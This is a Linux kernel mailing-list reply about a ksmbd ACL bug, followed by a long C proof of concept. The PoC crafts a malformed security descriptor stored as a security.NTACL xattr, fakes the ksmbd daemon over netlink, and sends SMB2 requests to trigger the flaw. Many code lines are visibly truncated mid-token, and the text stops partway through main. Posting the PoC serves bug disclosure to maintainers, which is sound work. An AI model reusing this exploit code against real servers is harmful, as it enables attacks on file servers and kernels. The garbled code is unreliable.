Re: [PATCH] ksmbd: use copied ACE count when walking DACL in set_ntacl_dacl

Xiang Mei <[email protected]> Sat, 25 Jul 2026 13:57:13 -0700
Newsgroups org.kernel.vger.linux-cifs,org.kernel.vger.linux-kernel
Message-ID <CAPpSM+TbugewAeEPb1qGyDGgHpqTYBXt4hkL30i-opsF2w7tFQ@mail.gmail.com>
On Fri, Jul 24, 2026 at 12:10 AM ChenXiaoSong
<[email protected]> wrote:
>
> Could you share the steps to reproduce it?
>
> On 7/23/26 08:19, Namjae Jeon wrote:
> > Thanks for the patch.
> > Could you please check whether this issue is still present in the
> > current ksmbd-for-next-next tree?
>
The issue is patched in 065148205b48. Sorry for the dup.

If you are still interested in the poc, here is the poc we triggered
the bug with:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdint.h>
#include <pthread.h>

/* ============ SHA-256 implementation ============ */
static const uint32_t sha256_k[64] = {
    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82,
    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06,
    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9,
    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca63,
    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c9,
    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e35,
    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca,
    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a32
};
#define RR(x,n) (((x)>>(n))|((x)<<(32-(n))))
#define CH(x,y,z) (((x)&(y))^((~(x))&(z)))
#define MAJ(x,y,z) (((x)&(y))^((x)&(z))^((y)&(z)))
#define EP0(x) (RR(x,2)^RR(x,13)^RR(x,22))
#define EP1(x) (RR(x,6)^RR(x,11)^RR(x,25))
#define SIG0(x) (RR(x,7)^RR(x,18)^((x)>>3))
#define SIG1(x) (RR(x,17)^RR(x,19)^((x)>>10))

static void sha256(const uint8_t *data, size_t len, uint8_t out[32]) {
    uint32_t h[8] = {0x6a09e667,0xbb67ae85,0x3c6ef372,0xa54ff53a,
                     0x510e527f,0x9b05688c,0x1f83d9ab,0x5be0cd19};
    size_t i, j;
    uint64_t bitlen = len * 8;
    size_t nblocks = len / 64;
    for (i = 0; i < nblocks; i++) {
        uint32_t w[64], a,b,c,d,e,f,g,hh,t1,t2;
        const uint8_t *blk = data + i * 64;
        for (j = 0; j < 16; j++)
            w[j] = ((uint32_t)blk[j*4]<<24)|((uint32_t)blk[j*4+1]<<16)|
                   ((uint32_t)blk[j*4+2]<<8)|blk[j*4+3];
        for (j = 16; j < 64; j++)
            w[j] = SIG1(w[j-2]) + w[j-7] + SIG0(w[j-15]) + w[j-16];
        a=h[0];b=h[1];c=h[2];d=h[3];e=h[4];f=h[5];g=h[6];hh=h[7];
        for (j = 0; j < 64; j++) {
            t1 = hh + EP1(e) + CH(e,f,g) + sha256_k[j] + w[j];
            t2 = EP0(a) + MAJ(a,b,c);
            hh=g;g=f;f=e;e=d+t1;d=c;c=b;b=a;a=t1+t2;
        }
        h[0]+=a;h[1]+=b;h[2]+=c;h[3]+=d;h[4]+=e;h[5]+=f;h[6]+=g;h[7]+=hh;
    }
    uint8_t last[128];
    size_t rem = len - nblocks * 64;
    memset(last, 0, sizeof(last));
    if (rem) memcpy(last, data + nblocks * 64, rem);
    last[rem] = 0x80;
    int final_blocks = (rem < 56) ? 1 : 2;
    int pad_off = final_blocks * 64 - 8;
    for (j = 0; j < 8; j++) last[pad_off + j] = (bitlen >> (56 - j*8)) & 0xff;
    for (int bi = 0; bi < final_blocks; bi++) {
        uint32_t w[64], a,b,c,d,e,f,g,hh,t1,t2;
        uint8_t *blk = last + bi * 64;
        for (j = 0; j < 16; j++)
            w[j] = ((uint32_t)blk[j*4]<<24)|((uint32_t)blk[j*4+1]<<16)|
                   ((uint32_t)blk[j*4+2]<<8)|blk[j*4+3];
        for (j = 16; j < 64; j++)
            w[j] = SIG1(w[j-2]) + w[j-7] + SIG0(w[j-15]) + w[j-16];
        a=h[0];b=h[1];c=h[2];d=h[3];e=h[4];f=h[5];g=h[6];hh=h[7];
        for (j = 0; j < 64; j++) {
            t1 = hh + EP1(e) + CH(e,f,g) + sha256_k[j] + w[j];
            t2 = EP0(a) + MAJ(a,b,c);
            hh=g;g=f;f=e;e=d+t1;d=c;c=b;b=a;a=t1+t2;
        }
        h[0]+=a;h[1]+=b;h[2]+=c;h[3]+=d;h[4]+=e;h[5]+=f;h[6]+=g;h[7]+=hh;
    }
    for (j = 0; j < 8; j++) {
        out[j*4] = (h[j]>>24)&0xff; out[j*4+1] = (h[j]>>16)&0xff;
        out[j*4+2] = (h[j]>>8)&0xff; out[j*4+3] = h[j]&0xff;
    }
}

/* ============ NDR encoder ============ */
struct ndr_buf { uint8_t *data; int offset; int capacity; };

static void ndr_ensure(struct ndr_buf *n, int need) {
    if (n->offset + need > n->capacity) {
        n->capacity = (n->offset + need) * 2;
        n->data = realloc(n->data, n->capacity);
    }
}
static void ndr_write_int16(struct ndr_buf *n, uint16_t v) {
    ndr_ensure(n, 2); memcpy(n->data + n->offset, &v, 2); n->offset += 2;
}
static void ndr_write_int32(struct ndr_buf *n, uint32_t v) {
    ndr_ensure(n, 4); memcpy(n->data + n->offset, &v, 4); n->offset += 4;
}
static void ndr_write_int64(struct ndr_buf *n, uint64_t v) {
    ndr_ensure(n, 8); memcpy(n->data + n->offset, &v, 8); n->offset += 8;
}
static void ndr_write_bytes(struct ndr_buf *n, const void *d, int len) {
    ndr_ensure(n, len); memcpy(n->data + n->offset, d, len); n->offset += len;
}
static void ndr_align8(struct ndr_buf *n) {
    int a = (n->offset + 7) & ~7;
    if (a > n->offset) { ndr_ensure(n, a - n->offset); memset(n->data + n->off}
}

#define SMB_ACL_USER      1
#define SMB_ACL_USER_OBJ  2
#define SMB_ACL_GROUP     3
#define SMB_ACL_GROUP_OBJ 4
#define SMB_ACL_OTHER     5
#define SMB_ACL_MASK      6

struct acl_entry { int type; uint64_t id; int perm; };

static void ndr_encode_posix_acl_entry_fn(struct ndr_buf *n, struct acl_entry {
    ndr_write_int32(n, count);
    ndr_align8(n);
    ndr_write_int32(n, count);
    ndr_write_int32(n, 0);
    for (int i = 0; i < count; i++) {
        ndr_align8(n);
        ndr_write_int16(n, entries[i].type);
        ndr_write_int16(n, entries[i].type);
        if (entries[i].type == SMB_ACL_USER) {
            ndr_align8(n);
            ndr_write_int64(n, entries[i].id);
        } else if (entries[i].type == SMB_ACL_GROUP) {
            ndr_align8(n);
            ndr_write_int64(n, entries[i].id);
        }
        ndr_write_int32(n, entries[i].perm);
    }
}

static void ndr_encode_posix_acl_fn(struct ndr_buf *n, uint64_t uid, uint64_t ,
                                     uint32_t mode, struct acl_entry *acl, int{
    uint32_t ref_id = 0x00020000;
    n->offset = 0;
    if (acl) { ndr_write_int32(n, ref_id); ref_id += 4; }
    else ndr_write_int32(n, 0);
    /* no default ACL */
    ndr_write_int32(n, 0);
    ndr_write_int64(n, uid);
    ndr_write_int64(n, gid);
    ndr_write_int32(n, mode);
    if (acl)
        ndr_encode_posix_acl_entry_fn(n, acl, acl_count);
}

#define NDR_NTSD_OFFSETOF 0xA0

static void ndr_encode_v4_ntacl_fn(struct ndr_buf *n, uint8_t hash[64],
                                    uint8_t posix_hash[64], uint8_t *sd_buf, i{
    n->offset = 0;
    ndr_write_int16(n, 4);          /* version */
    ndr_write_int32(n, 4);          /* version2 */
    ndr_write_int16(n, 2);          /* level */
    ndr_write_int32(n, 0x00020004); /* ref_id */
    ndr_write_int16(n, 1);          /* hash_type = SHA256 */
    ndr_write_bytes(n, hash, 64);
    uint8_t desc[10]; memset(desc, 0, 10); memcpy(desc, "posix_acl", 9);
    ndr_write_bytes(n, desc, 10);
    ndr_write_int64(n, 0);          /* current_time */
    ndr_write_bytes(n, posix_hash, 64);
    ndr_write_bytes(n, sd_buf, sd_size);
}

/* ============ Build crafted Security Descriptor ============ */
static int build_crafted_sd(uint8_t *out, int maxl) {
    memset(out, 0, maxl);
    int off = 0;
    /* NTSD header: revision=1, type=DACL_PRESENT(0x0004) */
    *(uint16_t *)(out + 0) = 1;
    *(uint16_t *)(out + 2) = 0x0004;
    off = 20; /* 2+2+4+4+4+4 = 20 */

    int dacl_off = off;
    *(uint16_t*)(out+off) = 2;
    *(uint16_t*)(out+off+4) = 2; /* num_aces = 2, only 1 gets copied */
    off += 8;

    /* ACE1: Everyone (S-1-1-0) FULL_CONTROL - passes the CREATE access check /
    out[off]=0; *(uint32_t*)(out+off+4)=0x001F01FF;
    out[off+8]=1; out[off+9]=1;
    out[off+14]=0; out[off+15]=1;
    *(uint32_t*)(out+off+16)=0;
    int ace1_sz = 8+8+1*4;
    *(uint16_t*)(out+off+2)=ace1_sz; off+=ace1_sz;

    /* ACE2: num_subauth=20 > 15, skipped by the copy loop but still counted */
    out[off]=0; *(uint32_t*)(out+off+4)=0x001F01FF;
    out[off+8]=1; out[off+9]=20; out[off+15]=5;
    int ace_sz = 8+8;
    *(uint16_t*)(out+off+2)=ace_sz; off+=ace_sz;

    *(uint16_t*)(out+dacl_off+2) = off - dacl_off;
    *(uint32_t*)(out+16) = dacl_off;
    return off;
}

/* ============ ksmbd netlink IPC ============ */
#define KSMBD_GENL_NAME     "SMBD_GENL"
#define KSMBD_GENL_VERSION  0x01

enum ksmbd_event {
    KSMBD_EVENT_UNSPEC=0, KSMBD_EVENT_HEARTBEAT_REQUEST,
    KSMBD_EVENT_STARTING_UP, KSMBD_EVENT_SHUTTING_DOWN,
    KSMBD_EVENT_LOGIN_REQUEST, KSMBD_EVENT_LOGIN_RESPONSE,
    KSMBD_EVENT_SHARE_CONFIG_REQUEST, KSMBD_EVENT_SHARE_CONFIG_RESPONSE,
    KSMBD_EVENT_TREE_CONNECT_REQUEST, KSMBD_EVENT_TREE_CONNECT_RESPONSE,
    KSMBD_EVENT_TREE_DISCONNECT_REQUEST, KSMBD_EVENT_LOGOUT_REQUEST,
    KSMBD_EVENT_RPC_REQUEST, KSMBD_EVENT_RPC_RESPONSE,
    KSMBD_EVENT_SPNEGO_AUTHEN_REQUEST, KSMBD_EVENT_SPNEGO_AUTHEN_RESPONSE,
    KSMBD_EVENT_LOGIN_REQUEST_EXT, KSMBD_EVENT_LOGIN_RESPONSE_EXT,
};

#define KSMBD_SHARE_FLAG_AVAILABLE    (1<<0)
#define KSMBD_SHARE_FLAG_BROWSEABLE   (1<<1)
#define KSMBD_SHARE_FLAG_WRITEABLE    (1<<2)
#define KSMBD_SHARE_FLAG_GUEST_OK     (1<<4)
#define KSMBD_SHARE_FLAG_GUEST_ONLY   (1<<5)
#define KSMBD_SHARE_FLAG_OPLOCKS      (1<<7)
#define KSMBD_SHARE_FLAG_ACL_XATTR    (1<<13)
#define KSMBD_USER_FLAG_OK            (1<<0)
#define KSMBD_USER_FLAG_GUEST_ACCOUNT (1<<4)
#define KSMBD_TREE_CONN_STATUS_OK     0
#define KSMBD_TREE_CONN_FLAG_WRITABLE (1<<2)

struct ksmbd_startup_request {
    uint32_t flags; int32_t signing;
    int8_t min_prot[16]; int8_t max_prot[16];
    int8_t netbios_name[16]; int8_t work_group[64]; int8_t server_string[64];
    uint16_t tcp_port; uint16_t ipc_timeout;
    uint32_t deadtime; uint32_t file_max;
    uint32_t smb2_max_write; uint32_t smb2_max_read; uint32_t smb2_max_trans;
    uint32_t share_fake_fscaps; uint32_t sub_auth[3];
    uint32_t smb2_max_credits; uint32_t smbd_max_io_size;
    uint32_t max_connections; int8_t bind_interfaces_only;
    uint32_t max_ip_connections; int8_t reserved[499]; uint32_t ifc_list_sz;
} __attribute__((packed));

struct ksmbd_login_request { uint32_t handle; int8_t account[48]; uint32_t res;
struct ksmbd_login_response {
    uint32_t handle; uint32_t gid; uint32_t uid; int8_t account[48];
    uint16_t status; uint16_t hash_sz; int8_t hash[18]; uint32_t reserved[16];
};
struct ksmbd_login_response_ext { uint32_t handle; int32_t ngroups; int8_t res;
struct ksmbd_share_config_response {
    uint32_t handle; uint32_t flags; uint16_t create_mask; uint16_t directory_;
    uint16_t force_create_mode; uint16_t force_directory_mode;
    uint16_t force_uid; uint16_t force_gid; int8_t share_name[64];
    uint32_t reserved[111]; uint32_t payload_sz; uint32_t veto_list_sz;
};
struct ksmbd_tree_connect_response {
    uint32_t handle; uint16_t status; uint16_t connection_flags; uint32_t rese;
};

static const char *SHARE_PATH = "/tmp/smbshare";
static int nl_sock = -1;
static uint16_t nl_family_id = 0;
static uint32_t nl_mcast_grp = 0;
static volatile int daemon_running = 1;

static int resolve_genl_family(int sock, const char *name) {
    char buf[4096]; memset(buf, 0, sizeof(buf));
    struct nlmsghdr *nlh = (void *)buf;
    struct genlmsghdr *gh = (void *)NLMSG_DATA(nlh);
    struct nlattr *nla = (void *)((char *)gh + GENL_HDRLEN);
    int nlen = strlen(name) + 1;
    nla->nla_len = NLA_HDRLEN + nlen; nla->nla_type = CTRL_ATTR_FAMILY_NAME;
    memcpy((char *)nla + NLA_HDRLEN, name, nlen);
    gh->cmd = CTRL_CMD_GETFAMILY; gh->version = 1;
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + NLA_ALIGN(nla->nla_len);
    nlh->nlmsg_type = GENL_ID_CTRL; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlm;
    struct sockaddr_nl a = {.nl_family = AF_NETLINK};
    if (sendto(sock, buf, nlh->nlmsg_len, 0, (void *)&a, sizeof(a)) < 0) retur;
    int len = recv(sock, buf, sizeof(buf), 0);
    if (len < 0) return -1;
    nlh = (void *)buf;
    if (nlh->nlmsg_type == NLMSG_ERROR) return -1;
    int fid = -1;
    int rem = NLMSG_PAYLOAD(nlh, GENL_HDRLEN);
    char *p = (char *)NLMSG_DATA(nlh) + GENL_HDRLEN;
    while (rem >= (int)NLA_HDRLEN) {
        struct nlattr *at = (void *)p;
        if (at->nla_len < NLA_HDRLEN) break;
        int alen = NLA_ALIGN(at->nla_len);
        if (at->nla_type == CTRL_ATTR_FAMILY_ID) fid = *(uint16_t *)((char *)a;
        if (at->nla_type == CTRL_ATTR_MCAST_GROUPS) {
            int grem = at->nla_len - NLA_HDRLEN; char *gp = (char *)at + NLA_H;
            while (grem >= (int)NLA_HDRLEN) {
                struct nlattr *grp = (void *)gp;
                if (grp->nla_len < NLA_HDRLEN) break;
                int irem = grp->nla_len - NLA_HDRLEN; char *ip = (char *)grp +;
                while (irem >= (int)NLA_HDRLEN) {
                    struct nlattr *ia = (void *)ip;
                    if (ia->nla_len < NLA_HDRLEN) break;
                    if (ia->nla_type == 2) nl_mcast_grp = *(uint32_t *)((char ;
                    int il = NLA_ALIGN(ia->nla_len); ip += il; irem -= il;
                }
                int gl = NLA_ALIGN(grp->nla_len); gp += gl; grem -= gl;
            }
        }
        p += alen; rem -= alen;
    }
    return fid;
}

static int nl_send(int sock, uint16_t fid, uint8_t cmd, uint16_t atype, void *{
    char buf[8192]; memset(buf, 0, sizeof(buf));
    struct nlmsghdr *nlh = (void *)buf;
    struct genlmsghdr *gh = (void *)NLMSG_DATA(nlh);
    gh->cmd = cmd; gh->version = KSMBD_GENL_VERSION;
    struct nlattr *nla = (void *)((char *)gh + GENL_HDRLEN);
    nla->nla_type = atype; nla->nla_len = NLA_HDRLEN + dlen;
    memcpy((char *)nla + NLA_HDRLEN, data, dlen);
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + NLA_ALIGN(nla->nla_len);
    nlh->nlmsg_type = fid; nlh->nlmsg_flags = NLM_F_REQUEST;
    struct sockaddr_nl a = {.nl_family = AF_NETLINK};
    return sendto(sock, buf, nlh->nlmsg_len, 0, (void *)&a, sizeof(a));
}

static void *ipc_thread(void *arg) {
    (void)arg;
    char buf[8192];
    while (daemon_running) {
        struct sockaddr_nl a; socklen_t al = sizeof(a);
        int len = recvfrom(nl_sock, buf, sizeof(buf), 0, (void *)&a, &al);
        if (len < 0) { if (errno == EINTR) continue; break; }
        struct nlmsghdr *nlh = (void *)buf;
        if (nlh->nlmsg_type != nl_family_id) continue;
        struct genlmsghdr *gh = (void *)NLMSG_DATA(nlh);
        void *payload = NULL;
        int rem = NLMSG_PAYLOAD(nlh, GENL_HDRLEN);
        char *ap = (char *)gh + GENL_HDRLEN;
        while (rem >= (int)NLA_HDRLEN) {
            struct nlattr *na = (void *)ap;
            if (na->nla_len < NLA_HDRLEN) break;
            if (na->nla_type == gh->cmd) { payload = ap + NLA_HDRLEN; break; }
            int al2 = NLA_ALIGN(na->nla_len); ap += al2; rem -= al2;
        }
        if (!payload) {
            ap = (char *)gh + GENL_HDRLEN; rem = NLMSG_PAYLOAD(nlh, GENL_HDRLE;
            if (rem >= (int)NLA_HDRLEN) {
                struct nlattr *na = (void *)ap;
                if (na->nla_len >= NLA_HDRLEN) payload = ap + NLA_HDRLEN;
            }
        }
        switch (gh->cmd) {
        case KSMBD_EVENT_LOGIN_REQUEST: {
            struct ksmbd_login_response r; memset(&r, 0, sizeof(r));
            if (payload) { r.handle = *(uint32_t*)payload; memcpy(r.account, (}
            r.status = KSMBD_USER_FLAG_OK | KSMBD_USER_FLAG_GUEST_ACCOUNT;
            r.uid = 0; r.gid = 0;
            nl_send(nl_sock, nl_family_id, KSMBD_EVENT_LOGIN_RESPONSE, KSMBD_E;
            break;
        }
        case KSMBD_EVENT_LOGIN_REQUEST_EXT: {
            struct ksmbd_login_response_ext r; memset(&r, 0, sizeof(r));
            if (payload) r.handle = *(uint32_t*)payload;
            nl_send(nl_sock, nl_family_id, KSMBD_EVENT_LOGIN_RESPONSE_EXT, KSM;
            break;
        }
        case KSMBD_EVENT_SHARE_CONFIG_REQUEST: {
            char rb[sizeof(struct ksmbd_share_config_response) + 256]; memset(;
            struct ksmbd_share_config_response *r = (void *)rb;
            if (payload) r->handle = *(uint32_t*)payload;
            r->flags = KSMBD_SHARE_FLAG_AVAILABLE | KSMBD_SHARE_FLAG_BROWSEABL|
                       KSMBD_SHARE_FLAG_WRITEABLE | KSMBD_SHARE_FLAG_GUEST_OK |
                       KSMBD_SHARE_FLAG_GUEST_ONLY | KSMBD_SHARE_FLAG_OPLOCKS |
                       KSMBD_SHARE_FLAG_ACL_XATTR;
            r->create_mask = 0744; r->directory_mask = 0755;
            strncpy((char *)r->share_name, "test", 63);
            char *pp = rb + sizeof(struct ksmbd_share_config_response);
            strcpy(pp, SHARE_PATH);
            r->payload_sz = strlen(SHARE_PATH) + 1;
            r->veto_list_sz = 0;
            int total = sizeof(struct ksmbd_share_config_response) + r->payloa;
            nl_send(nl_sock, nl_family_id, KSMBD_EVENT_SHARE_CONFIG_RESPONSE, ;
            break;
        }
        case KSMBD_EVENT_TREE_CONNECT_REQUEST: {
            struct ksmbd_tree_connect_response r; memset(&r, 0, sizeof(r));
            if (payload) r.handle = *(uint32_t*)payload;
            r.status = KSMBD_TREE_CONN_STATUS_OK;
            r.connection_flags = KSMBD_TREE_CONN_FLAG_WRITABLE;
            nl_send(nl_sock, nl_family_id, KSMBD_EVENT_TREE_CONNECT_RESPONSE, ;
            break;
        }
        default: break;
        }
    }
    return NULL;
}

/* ============ SMB2 client ============ */
#pragma pack(push, 1)
struct smb2_header {
    uint8_t protocol_id[4]; uint16_t structure_size; uint16_t credit_charge;
    uint32_t status; uint16_t command; uint16_t credit_request;
    uint32_t flags; uint32_t next_command; uint64_t message_id;
    uint32_t reserved; uint32_t tree_id; uint64_t session_id;
    uint8_t signature[16];
};
#pragma pack(pop)

#define SMB2_NEGOTIATE     0x0000
#define SMB2_SESSION_SETUP 0x0001
#define SMB2_TREE_CONNECT  0x0003
#define SMB2_CREATE        0x0005
#define SMB2_QUERY_INFO    0x0010

static uint64_t msg_id = 0, session_id = 0;
static uint32_t tree_id_val = 0;
static uint8_t file_id[16];

static int smb_send(int s, void *b, int l) {
    uint8_t h[4] = {0, (l>>16)&0xFF, (l>>8)&0xFF, l&0xFF};
    if (send(s, h, 4, 0) != 4) return -1;
    return send(s, b, l, 0) == l ? 0 : -1;
}
static int smb_recv(int s, void *b, int bs) {
    uint8_t h[4];
    if (recv(s, h, 4, MSG_WAITALL) != 4) return -1;
    int l = (h[1]<<16)|(h[2]<<8)|h[3]; if (l > bs) return -1;
    int t = 0;
    while (t < l) { int n = recv(s, (char*)b+t, l-t, 0); if (n<=0) return -1; }
    return l;
}
static void mkhdr(struct smb2_header *h, uint16_t cmd) {
    memset(h, 0, 64);
    h->protocol_id[0]=0xFE; h->protocol_id[1]='S'; h->protocol_id[2]='M'; h->p;
    h->structure_size=64; h->command=cmd; h->credit_request=31;
    h->message_id=msg_id++; h->session_id=session_id; h->tree_id=tree_id_val;
}

static int negotiate(int s) {
    uint8_t buf[256]; memset(buf,0,sizeof(buf));
    mkhdr((void*)buf, SMB2_NEGOTIATE);
    uint8_t *b=buf+64;
    *(uint16_t*)(b)=36; *(uint16_t*)(b+2)=3; *(uint16_t*)(b+4)=1;
    *(uint32_t*)(b+12)=0xdeadbeef;
    *(uint16_t*)(b+36)=0x0202; *(uint16_t*)(b+38)=0x0210; *(uint16_t*)(b+40)=0;
    if (smb_send(s,buf,64+42)<0) return -1;
    uint8_t r[4096]; if (smb_recv(s,r,sizeof(r))<64) return -1;
    return ((struct smb2_header*)r)->status ? -1 : 0;
}

static int session_setup(int s) {
    uint8_t buf[512]; memset(buf,0,sizeof(buf));
    mkhdr((void*)buf, SMB2_SESSION_SETUP);
    uint8_t *b=buf+64; *(uint16_t*)b=25; *(uint8_t*)(b+3)=1;
    uint8_t nt[32]; memset(nt,0,32);
    memcpy(nt,"NTLMSSP",8); *(uint32_t*)(nt+8)=1; *(uint32_t*)(nt+12)=0x600082;
    uint16_t soff=64+24;
    *(uint16_t*)(b+12)=soff; *(uint16_t*)(b+14)=32;
    memcpy(buf+soff,nt,32);
    if (smb_send(s,buf,soff+32)<0) return -1;
    uint8_t r[4096]; int rl=smb_recv(s,r,sizeof(r)); if (rl<64) return -1;
    struct smb2_header *rh=(void*)r;
    session_id=rh->session_id;
    if (rh->status!=0xc0000016) return -1;
    /* Auth phase */
    memset(buf,0,sizeof(buf)); mkhdr((void*)buf,SMB2_SESSION_SETUP);
    ((struct smb2_header*)buf)->session_id=session_id;
    b=buf+64; *(uint16_t*)b=25; *(uint8_t*)(b+3)=1;
    uint8_t au[128]; memset(au,0,128);
    memcpy(au,"NTLMSSP",8); *(uint32_t*)(au+8)=3;
    int voff=72;
    uint8_t uname[]={'g',0,'u',0,'e',0,'s',0,'t',0}; int uname_len=10;
    *(uint16_t*)(au+12)=0; *(uint16_t*)(au+14)=0; *(uint32_t*)(au+16)=voff;
    *(uint16_t*)(au+20)=0; *(uint16_t*)(au+22)=0; *(uint32_t*)(au+24)=voff;
    *(uint16_t*)(au+28)=0; *(uint16_t*)(au+30)=0; *(uint32_t*)(au+32)=voff;
    *(uint16_t*)(au+36)=uname_len; *(uint16_t*)(au+38)=uname_len; *(uint32_t*);
    memcpy(au+voff,uname,uname_len);
    *(uint16_t*)(au+44)=0; *(uint16_t*)(au+46)=0; *(uint32_t*)(au+48)=voff+una;
    *(uint16_t*)(au+52)=0; *(uint16_t*)(au+54)=0; *(uint32_t*)(au+56)=voff+una;
    *(uint32_t*)(au+60)=0x60008215;
    int aulen=voff+uname_len;
    soff=64+24;
    *(uint16_t*)(b+12)=soff; *(uint16_t*)(b+14)=aulen;
    memcpy(buf+soff,au,aulen);
    if (smb_send(s,buf,soff+aulen)<0) return -1;
    rl=smb_recv(s,r,sizeof(r)); if (rl<64) return -1;
    rh=(void*)r;
    if (rh->status==0) { session_id=rh->session_id; return 0; }
    return -1;
}

static int tree_connect(int s) {
    uint8_t buf[256]; memset(buf,0,sizeof(buf));
    mkhdr((void*)buf, SMB2_TREE_CONNECT);
    uint8_t *b=buf+64; *(uint16_t*)b=9;
    char pa[]="\\\\127.0.0.1\\test";
    uint8_t pu[128]; int pl=0;
    for (int i=0; pa[i]; i++) { pu[pl++]=pa[i]; pu[pl++]=0; }
    uint16_t po=64+8;
    *(uint16_t*)(b+4)=po; *(uint16_t*)(b+6)=pl;
    memcpy(buf+po,pu,pl);
    if (smb_send(s,buf,po+pl)<0) return -1;
    uint8_t r[4096]; if (smb_recv(s,r,sizeof(r))<64) return -1;
    struct smb2_header *rh=(void*)r;
    if (rh->status) return -1;
    tree_id_val=rh->tree_id; return 0;
}

static int create_file(int s, const char *fn) {
    uint8_t buf[512]; memset(buf,0,sizeof(buf));
    mkhdr((void*)buf, SMB2_CREATE);
    uint8_t *b=buf+64; *(uint16_t*)b=57;
    *(uint32_t*)(b+24)=0x001F01FF; *(uint32_t*)(b+28)=0x80;
    *(uint32_t*)(b+32)=0x07; *(uint32_t*)(b+36)=0x05;
    uint8_t nu[256]; int nl=0;
    for (int i=0; fn[i]; i++) { nu[nl++]=fn[i]; nu[nl++]=0; }
    uint16_t no=64+56;
    *(uint16_t*)(b+44)=no; *(uint16_t*)(b+46)=nl;
    memcpy(buf+no,nu,nl); int tl=no+nl; if (tl<64+57) tl=64+57;
    if (smb_send(s,buf,tl)<0) return -1;
    uint8_t r[4096]; if (smb_recv(s,r,sizeof(r))<64) return -1;
    struct smb2_header *rh=(void*)r;
    if (rh->status) return -1;
    memcpy(file_id, r+64+64, 16); return 0;
}

static int query_info_sec(int s) {
    uint8_t buf[256]; memset(buf,0,sizeof(buf));
    mkhdr((void*)buf, SMB2_QUERY_INFO);
    uint8_t *b=buf+64;
    *(uint16_t*)b=41; *(uint8_t*)(b+2)=0x03;
    *(uint32_t*)(b+4)=65536;
    *(uint32_t*)(b+16)=0x07; /* OWNER|GROUP|DACL */
    memcpy(b+24, file_id, 16);
    if (smb_send(s,buf,64+41)<0) return -1;
    uint8_t r[8192]; if (smb_recv(s,r,sizeof(r))<64) return -1;
    return 0;
}

/* ============ Main ============ */
int main(void) {

    mkdir(SHARE_PATH, 0777);
    const char *filepath = "/tmp/smbshare/testfile.txt";
    int fd = open(filepath, O_CREAT|O_WRONLY|O_TRUNC, 0755);
    if (fd >= 0) { write(fd, "test", 4); close(fd); }
    chmod(filepath, 0755);

    /* Set POSIX ACL: USER_OBJ(rwx), USER(7777,rwx), GROUP_OBJ(rx), MASK(rwx),/
    uint8_t posix_acl_xattr[4 + 5*8];
    memset(posix_acl_xattr, 0, sizeof(posix_acl_xattr));
    *(uint32_t*)(posix_acl_xattr) = 2;
    *(uint16_t*)(posix_acl_xattr+4)=0x01; *(uint16_t*)(posix_acl_xattr+6)=7; *;
    *(uint16_t*)(posix_acl_xattr+12)=0x02; *(uint16_t*)(posix_acl_xattr+14)=7;;
    *(uint16_t*)(posix_acl_xattr+20)=0x04; *(uint16_t*)(posix_acl_xattr+22)=5;;
    *(uint16_t*)(posix_acl_xattr+28)=0x10; *(uint16_t*)(posix_acl_xattr+30)=7;;
    *(uint16_t*)(posix_acl_xattr+36)=0x20; *(uint16_t*)(posix_acl_xattr+38)=5;;

    if (setxattr(filepath, "system.posix_acl_access", posix_acl_xattr, sizeof({
        perror("setxattr posix_acl"); return 1;
    }

    struct stat st; stat(filepath, &st);

    /* Compute NDR POSIX ACL hash */
    struct ndr_buf acl_ndr = {.data=calloc(1,1024), .offset=0, .capacity=1024};
    struct acl_entry entries[5] = {
        {SMB_ACL_USER_OBJ, 0, 7}, {SMB_ACL_USER, 7777, 7},
        {SMB_ACL_GROUP_OBJ, 0, 5}, {SMB_ACL_MASK, 0, 7}, {SMB_ACL_OTHER, 0, 5},
    };
    ndr_encode_posix_acl_fn(&acl_ndr, st.st_uid, st.st_gid, st.st_mode, entrie;

    uint8_t posix_hash[64]; memset(posix_hash, 0, 64);
    sha256(acl_ndr.data, acl_ndr.offset, posix_hash);

    /* Build crafted SD and adjust offsets */
    uint8_t sd_buf[2048];
    int sd_size = build_crafted_sd(sd_buf, sizeof(sd_buf));
    /* ksmbd_vfs_get_sd_xattr() subtracts NDR_NTSD_OFFSETOF back off on read */
    *(uint32_t*)(sd_buf+16) += NDR_NTSD_OFFSETOF;

    uint8_t sd_hash[64]; memset(sd_hash, 0, 64);
    sha256(sd_buf, sd_size, sd_hash);

    /* Encode NDR v4 NTACL and write xattr */
    struct ndr_buf ntacl = {.data=calloc(1,4096), .offset=0, .capacity=4096};
    ndr_encode_v4_ntacl_fn(&ntacl, sd_hash, posix_hash, sd_buf, sd_size);

    if (setxattr(filepath, "security.NTACL", ntacl.data, ntacl.offset, 0) < 0){
        perror("setxattr security.NTACL"); return 1;
    }
    free(acl_ndr.data); free(ntacl.data);

    /* Setup netlink IPC */
    nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (nl_sock < 0) { perror("nlsock"); return 1; }
    struct sockaddr_nl sa = {.nl_family = AF_NETLINK, .nl_pid = getpid()};
    if (bind(nl_sock, (void*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1;}
    nl_family_id = resolve_genl_family(nl_sock, KSMBD_GENL_NAME);
    if ((int)nl_family_id <= 0) { fprintf(stderr, "No ksmbd genl\n"); return 1}
